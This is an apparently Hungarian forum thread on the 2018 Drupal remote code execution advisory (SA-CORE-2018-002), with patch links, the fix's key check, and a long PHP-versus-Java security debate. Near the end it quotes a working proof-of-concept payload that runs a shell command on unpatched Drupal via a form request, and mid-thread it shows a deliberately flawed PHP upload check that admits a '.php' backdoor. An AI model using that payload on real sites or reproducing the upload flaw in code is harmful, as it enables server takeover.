Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002

Címkék

Ahogy az várható volt, a Drupal projekt kiadta a Drupal 5.x, 6.x, 7.x, 8.x verziókat érintő, távoli kódfuttatást lehetővé tevő, "Highly critical" besorolású sebezhetőség biztonsági figyelmeztetőjét. Megtalálható itt. A sebezhetőséggel kapcsolatos FAQ itt.

Patchek:

Drupal 6 patch: https://www.drupal.org/files/issues/2018-03-28/SA-CORE-2018-002.patch
Drupal 5 patch: https://www.drupal.org/files/issues/2018-03-28/sa-core-2018-002-d5.patch

Hozzászólások

https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97…


function stripDangerousValues(...) {
  ...
  if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) {
    ...
  }
  ...
}

Ez valami fasza PHP feature vagy Drupal feature, hogy #-ot tartalmazó kulcs veszélyt jelent? Elég vicces, hogy a bootstrap kódból ütik agyon szőnyegbombázással, jó sok mindent érinthetett...

Azt erősen kétlem :D

A php maga egy nagy biztonsági probléma. Nincs semmi guideline, mégis hogy kéne tákolni, csak úgy belebasztak fícsöröket, és... ennyi.
Nincs se a nyelvnek, se a keretrendszernek struktúrája.
Jávában nehezebb szar kódot írni (sok indiaival dolgozom :-) eddig egyiknek sem sikerült ilyen szintű elbaszást csinálnia, pedig azért próbálkoztak).

És:
Váó, ez aztán az érvelés, hogy akkor biztos a többi nyelv is szar.

Tessék, guideline: http://www.phptherightway.com
Ezen felül a nagyobb frameworkok doksijában is elég szépen le van vezetve, hogy hogyan érdemes csinálni a dolgokat. Az már más kérdés, hogy hányan olvassák el.

Nem mondom, hogy a PHP tökéletes, de minden eszközt lehet szarul használni. Láttunk már olyan biztonsági hibát, ami egysoros if-nél lefelejtett kódblokk miatt keletkezett, és az sem véletlen, hogy a java appleteket száműzték a böngészők.
PHP-ben könnyű gyorsan látványos eredményeket elérni, ezért majd' mindenki "ért hozzá", így bizony keletkezik nem kevés szar kód. Az ilyenek miatt (is) kvázi divat a PHP-t gyűlölni. De olyan hülyeséget ne írjunk már le, hogy azért nem szabad PHP-t használni, mert egy Drupal fejlesztő egy form elemből közvetlenül veszi a hívandó függvényt. :D Ez egyáltalán nem gyakori (sőt, még nem is láttam ilyet). Elég nagy blama, de ez a Drupal blamája, nem a PHP-é. Annyi másért lehetne basztatni a PHP-t, ez konkrétan nem az ő hibája.

"de minden eszközt lehet szarul használni"

Ebbe már sokszor belementünk itt a HUP-on. Ez egy igaz, de semmitmondó állítás.

A PHP tele van meglepő, alapból nem biztonságos működéssel. Mondok 2 példát.

1. A PHP-ban ha kapsz egy inputot, ezerféleképpen kell szanálni, attól függően hogy hol használod, és kurvára észnél kell lenni, egy apró hiba és megvan a sechole. A PHP-ban ez egyszerűen túl könnyű. Én Javában olyan erősen típusos request objektumokat kapok, hogy esélyem sincs hibázni. Egy integer mezőből soha a büdös életben nem lesz véletlenül végrehajtott függvény, mint most itt a Drupalban.
2. Minden PHP guide tele van avval, hogy SQL injectionre vigyázni kell. Elég egy apró botlás. Én Javában olyan frameworkön keresztül érem el az adatbázist, hogy esélyem sincs user inputot szó szerint SQL-hez fűzni, mert már le se fordul.

Ezt lehetne naphosszat folytatni, illetve volt a phpwtf.org, de sajnos úgy néz ki, hogy megszűnt. És abba ne is menjünk bele, hogy mindezek mellett egy teljesen következetlen nyelv és főleg a standard library-je az.

Egyrészt az Eloquent egy ORM, nem egy súlycsoport az SQL querykkel ahol mindenféle joint, aggregációt, egyebeket akar az ember. Mutass olyan PHP keretrendszert, ami még futtatás előtt megmondja egy SQL queryről, hogy user input van-e a benne vagy nincs. Másrészt az a baj, hogy ez egy framework, a maga függőségeivel és egyebekkel, és vagy bele tudod gyömöszölni a projektedbe vagy nem. Az a baj, hogy gyárilag olyan libraryje van a PHP-nek, ami nem hülyebiztos, és csak utólag kezdtek el gondolkodni ezen, külső megoldás kell. Maga a csapda ott van, neked kell pluszban dolgozni azon, hogy elkerüld.

Java FW jó: "Én Javában olyan frameworkön keresztül érem el az adatbázist, hogy ..."
PHP FW rossz: "Másrészt az a baj, hogy ez egy framework, a maga függőségeivel és egyebekkel"
Értem :)

PDO és prepared statement használatával viszonylag könnyű elkerülni a problémák nagy részét, és nem egyáltalán nem macera vele dolgozni.

Amiről én beszélek, az egy olyan adatbázis, aminek az eléréséhez egyetlen library létezik, és az gyárilag biztonságos. SQL queryben csak compile time string constant szerepelhet és fordítás időben eldobja, ha nem azt teszel bele. Ezt az adatbázist nem lehet nem biztonságos módon elérni. Továbbra is várom, tud-e ilyet a PHP.

PHP-ban csillió rendszer van. Amíg létezik nem biztonságos adatbázis library, addig azt használni is fogják. És még a PDO mellett is el lehet követni SQL injectiont, nem zárja ki a lehetőségét. Nem azt mondom, hogy könnyű, de egyrészt be lehet nézni (véletlen beteszed a $x-et a query közepébe mert nem tűnt fel hogy ez egy prepared statement), másrészt egyes dolgokat a PDO tudtommal nem tud kezelni (pl. tábla és oszlop neve nem behelyettesíthető, muszáj betenni $x-et a query közepébe).

Az SQL injection eléggé általános probléma, így én azt nem keverném bele a php nyelv hibáiba.

Lehet, hogy SQL injection-t nehezebb Java-ban csinálni, de helyette meg van a saját baja: What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.

whitesourcesoftware.com alapján a tavalyi év legjelentősebb, webes szolgáltatásokat érintő hibák:
- Spring CVE-2016-9879 and CVE-2016-5007 (Java)
- jackson-databind CVE-2017-7525 (Java)
- jQuery WS-2017-0195 (JavaScript)
- Apache ZooKeeper CVE-2017-5637 (Java)
- Apache Tomcat CVE-2017-12617, CVE-2016-6794 (Java)
- node-mime WS-2017-0330 (JavaScript)
- Tough-Cookie WS-2017-0307 (JavaScript)
- Angular WS-2017-0120 (JavaScript)
- The Jakarta Multipart parser in Apache Struts2 (Equifax): CVE-2017-5638 (Java)
- Krack (WiFi) (C/C++)

+1 CVE-2018-1270: Remote Code Execution with spring-messaging

Spring Framework is a popular, lightweight and an open source framework for developing Java-based enterprise applications.

Vulnerable Spring Framework versions expose STOMP clients over WebSocket endpoints with an in-memory STOMP broker through the 'spring-messaging' module, which could allow an attacker to send a maliciously crafted message to the broker, leading to a remote code execution attack

via
https://pivotal.io/security/cve-2018-1270
https://thehackernews.com/2018/04/spring-framework-hacking.html

Sajnos a typesafety hiánya miatt elég könnyű hibát véteni, pl. ez elsőre jónak tűnik:


<?
$file = $_FILES["upload"];
$whitelist = range(1, 5000);

if (in_array($file["name"], $whitelist)) {
    move_uploaded_file($file['tmp_name'], "upload/" . $file['name']);
} else {
    die("Invalid filename");
}
?>

Viszont "5backdoor.php" -ra is true-t ad vissza az in_array, így már kész is a baj.

Még több hasonló, keresd a biztonsági hibát a php-kódban feladvány: https://www.ripstech.com/php-security-calendar-2017/ (csak hardcore arcoknak)

Drupal feature-ről van szó: a belső API-k egy része (kiváltképp Forms API, render-tömbök) a #-tel kezdődő értékeket speciálisan kezelik: kvázi property-kről van szó tömbökben, míg a nem #-tel kezdődő értékek általában gyermekelemek azonosítói, tehát ezek alapján épülnek fa-félék. (Régi öröksége ez a Drupalnak, először nekem is fura volt anno.)

Infóim szerint ugyan az 5.x-et nem említik, az is érintett. Készül a patch.

--
trey @ gépház

subscribe

-----
„Egy jó kapcsolatban a társunkat az ő dolgában kell támogatni, nem a miénkben.”
rand() a lelke mindennek! :)
Szerinted…

PoC: https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py


url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
requests.post(url, data=payload)

A javítás (majdnem) jó volt, még ha kicsit brutális is.
Tudod egy ilyen security fix nem olyan egyszerű dolog. Egyrészt javítsa a hibát, ez alap. Másrészt minél kevesebb helyen változtasson a rendszeren, hogy könnyen feltehető legyen amúgy nem frissített (elmaradott) rendszerekre is és ne változzon a rendszer eddigi működése. Harmadrészt a javítás legyen olyan, hogy abból ne derüljön ki rögtön a hiba kihasználásának a módja.

-----
„Egy jó kapcsolatban a társunkat az ő dolgában kell támogatni, nem a miénkben.”
rand() a lelke mindennek! :)
Szerinted…